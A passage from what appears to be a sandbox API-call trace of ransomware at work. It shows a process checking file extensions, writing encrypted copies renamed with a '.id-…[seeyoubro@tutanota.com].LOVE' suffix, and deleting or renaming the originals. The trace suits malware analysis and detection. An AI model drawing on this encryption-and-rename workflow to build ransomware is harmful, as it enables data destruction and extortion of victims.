lpString2=".ico") returned 1 [0196.345] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0196.345] lstrlenW (lpString="warn.ico") returned 8 [0196.345] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0196.345] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=10134) returned 1 [0196.345] CloseHandle (hObject=0x2f0) returned 1 [0196.345] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0196.345] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.346] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0196.346] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.346] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.346] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.346] GetLastError () returned 0x0 [0196.346] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x2796, lpOverlapped=0x0) returned 1 [0196.356] WriteFile (in: hFile=0x304, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0196.356] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.356] WriteFile (in: hFile=0x304, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.356] SetEndOfFile (hFile=0x304) returned 1 [0196.356] CloseHandle (hObject=0x304) returned 1 [0196.357] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.357] SetEndOfFile (hFile=0x2f0) returned 1 [0196.357] CloseHandle (hObject=0x2f0) returned 1 [0196.358] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.358] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0196.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.358] lstrlenW (lpString=".doc") returned 4 [0196.358] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.358] lstrlenW (lpString=".docx") returned 5 [0196.358] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0196.358] lstrlenW (lpString=".pdf") returned 4 [0196.385] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.385] lstrlenW (lpString=".xls") returned 4 [0196.385] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.385] lstrlenW (lpString=".xlsx") returned 5 [0196.385] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0196.385] lstrlenW (lpString=".ppt") returned 4 [0196.385] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.385] lstrlenW (lpString=".zip") returned 4 [0196.385] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.385] lstrlenW (lpString=".rar") returned 4 [0196.385] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.385] lstrlenW (lpString=".bz2") returned 4 [0196.385] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.385] lstrlenW (lpString=".7z") returned 3 [0196.385] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.385] lstrlenW (lpString=".dbf") returned 4 [0196.385] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.385] lstrlenW (lpString=".1cd") returned 4 [0196.385] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.385] lstrlenW (lpString=".jpg") returned 4 [0196.385] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.386] lstrlenW (lpString=".doc") returned 4 [0196.386] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.386] lstrlenW (lpString=".docx") returned 5 [0196.386] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0196.386] lstrlenW (lpString=".pdf") returned 4 [0196.386] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.386] lstrlenW (lpString=".xls") returned 4 [0196.386] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.386] lstrlenW (lpString=".xlsx") returned 5 [0196.386] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0196.386] lstrlenW (lpString=".ppt") returned 4 [0196.386] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.386] lstrlenW (lpString=".zip") returned 4 [0196.386] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.386] lstrlenW (lpString=".rar") returned 4 [0196.386] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.386] lstrlenW (lpString=".bz2") returned 4 [0196.386] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.386] lstrlenW (lpString=".7z") returned 3 [0196.386] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.386] lstrlenW (lpString=".dbf") returned 4 [0196.386] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.386] lstrlenW (lpString=".1cd") returned 4 [0196.386] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0196.386] lstrlenW (lpString=".jpg") returned 4 [0196.387] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.387] lstrcmpiW (lpString1=".mzz", lpString2=".LOVE") returned 1 [0196.387] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0196.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.402] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=181483595) returned 1 [0196.402] CloseHandle (hObject=0x2d8) returned 1 [0196.402] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0196.402] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.403] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0196.404] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0196.404] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0x0) returned 1 [0196.404] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0196.404] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e68058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.561] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0196.561] ReadFile (in: hFile=0x2f0, lpBuffer=0x3ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ea8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.674] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.674] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0196.674] ReadFile (in: hFile=0x2f0, lpBuffer=0x3ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ee8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.739] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.739] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x315fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0196.752] SetEndOfFile (hFile=0x2f0) returned 1 [0196.757] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x42e1400 [0196.762] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0196.762] WriteFile (in: hFile=0x2f0, lpBuffer=0x42e1400*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x42e1400*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0196.763] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0196.763] WriteFile (in: hFile=0x2f0, lpBuffer=0x42e1400*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x42e1400*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0196.764] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0196.764] WriteFile (in: hFile=0x2f0, lpBuffer=0x42e1400*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x42e1400*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0196.766] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0196.766] CloseHandle (hObject=0x2f0) returned 1 [0198.556] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.557] lstrlenW (lpString=".doc") returned 4 [0198.557] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0198.557] lstrlenW (lpString=".docx") returned 5 [0198.557] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0198.557] lstrlenW (lpString=".pdf") returned 4 [0198.557] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0198.557] lstrlenW (lpString=".xls") returned 4 [0198.557] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0198.557] lstrlenW (lpString=".xlsx") returned 5 [0198.557] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0198.557] lstrlenW (lpString=".ppt") returned 4 [0198.557] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0198.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.557] lstrlenW (lpString=".zip") returned 4 [0198.557] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0198.557] lstrlenW (lpString=".rar") returned 4 [0198.557] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0198.557] lstrlenW (lpString=".bz2") returned 4 [0198.557] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0198.557] lstrlenW (lpString=".7z") returned 3 [0198.557] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0198.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.557] lstrlenW (lpString=".dbf") returned 4 [0198.557] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0198.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.557] lstrlenW (lpString=".1cd") returned 4 [0198.557] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0198.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.557] lstrlenW (lpString=".jpg") returned 4 [0198.557] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0198.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.557] lstrlenW (lpString=".doc") returned 4 [0198.558] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0198.558] lstrlenW (lpString=".docx") returned 5 [0198.558] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0198.558] lstrlenW (lpString=".pdf") returned 4 [0198.558] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0198.558] lstrlenW (lpString=".xls") returned 4 [0198.558] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0198.558] lstrlenW (lpString=".xlsx") returned 5 [0198.558] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0198.558] lstrlenW (lpString=".ppt") returned 4 [0198.558] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0198.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.558] lstrlenW (lpString=".zip") returned 4 [0198.558] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0198.558] lstrlenW (lpString=".rar") returned 4 [0198.558] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0198.558] lstrlenW (lpString=".bz2") returned 4 [0198.558] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0198.558] lstrlenW (lpString=".7z") returned 3 [0198.558] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0198.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.558] lstrlenW (lpString=".dbf") returned 4 [0198.558] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0198.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.558] lstrlenW (lpString=".1cd") returned 4 [0198.558] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0198.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0198.558] lstrlenW (lpString=".jpg") returned 4 [0198.558] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0198.558] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0198.558] lstrlenW (lpString="SetupEngine.dll") returned 15 [0198.558] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0198.559] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=807256) returned 1 [0198.559] CloseHandle (hObject=0x320) returned 1 [0198.559] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0198.559] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0198.559] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.559] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0198.560] GetLastError () returned 0x0 [0198.560] ReadFile (in: hFile=0x320, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0xc5158, lpOverlapped=0x0) returned 1 [0198.807] WriteFile (in: hFile=0x2a0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xc5160, lpOverlapped=0x0) returned 1 [0198.820] ReadFile (in: hFile=0x320, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.821] WriteFile (in: hFile=0x2a0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf2, lpOverlapped=0x0) returned 1 [0198.821] SetEndOfFile (hFile=0x2a0) returned 1 [0198.821] CloseHandle (hObject=0x2a0) returned 1 [0198.903] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.903] SetEndOfFile (hFile=0x320) returned 1 [0198.909] CloseHandle (hObject=0x320) returned 1 [0198.909] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.910] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0198.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.910] lstrlenW (lpString=".doc") returned 4 [0198.910] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0198.910] lstrlenW (lpString=".docx") returned 5 [0198.910] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0198.910] lstrlenW (lpString=".pdf") returned 4 [0198.910] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0198.910] lstrlenW (lpString=".xls") returned 4 [0198.910] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0198.910] lstrlenW (lpString=".xlsx") returned 5 [0198.910] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0198.910] lstrlenW (lpString=".ppt") returned 4 [0198.910] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0198.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.910] lstrlenW (lpString=".zip") returned 4 [0198.910] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0198.910] lstrlenW (lpString=".rar") returned 4 [0198.910] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0198.910] lstrlenW (lpString=".bz2") returned 4 [0198.910] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0198.911] lstrlenW (lpString=".7z") returned 3 [0198.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0198.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.911] lstrlenW (lpString=".dbf") returned 4 [0198.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0198.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.911] lstrlenW (lpString=".1cd") returned 4 [0198.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0198.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.911] lstrlenW (lpString=".jpg") returned 4 [0198.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0198.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.911] lstrlenW (lpString=".doc") returned 4 [0198.911] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0198.911] lstrlenW (lpString=".docx") returned 5 [0198.911] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0198.911] lstrlenW (lpString=".pdf") returned 4 [0198.911] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0198.911] lstrlenW (lpString=".xls") returned 4 [0198.911] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0198.911] lstrlenW (lpString=".xlsx") returned 5 [0198.911] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0198.911] lstrlenW (lpString=".ppt") returned 4 [0198.911] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0198.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.911] lstrlenW (lpString=".zip") returned 4 [0198.911] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0198.911] lstrlenW (lpString=".rar") returned 4 [0198.911] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0198.911] lstrlenW (lpString=".bz2") returned 4 [0198.911] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0198.911] lstrlenW (lpString=".7z") returned 3 [0198.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0198.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.911] lstrlenW (lpString=".dbf") returned 4 [0198.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0198.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.912] lstrlenW (lpString=".1cd") returned 4 [0198.912] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0198.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0198.912] lstrlenW (lpString=".jpg") returned 4 [0198.912] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0198.912] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0198.912] lstrlenW (lpString="sqmapi.dll") returned 10 [0198.912] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0198.912] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=144416) returned 1 [0198.912] CloseHandle (hObject=0x320) returned 1 [0198.912] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0198.912] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.912] CreateFileW 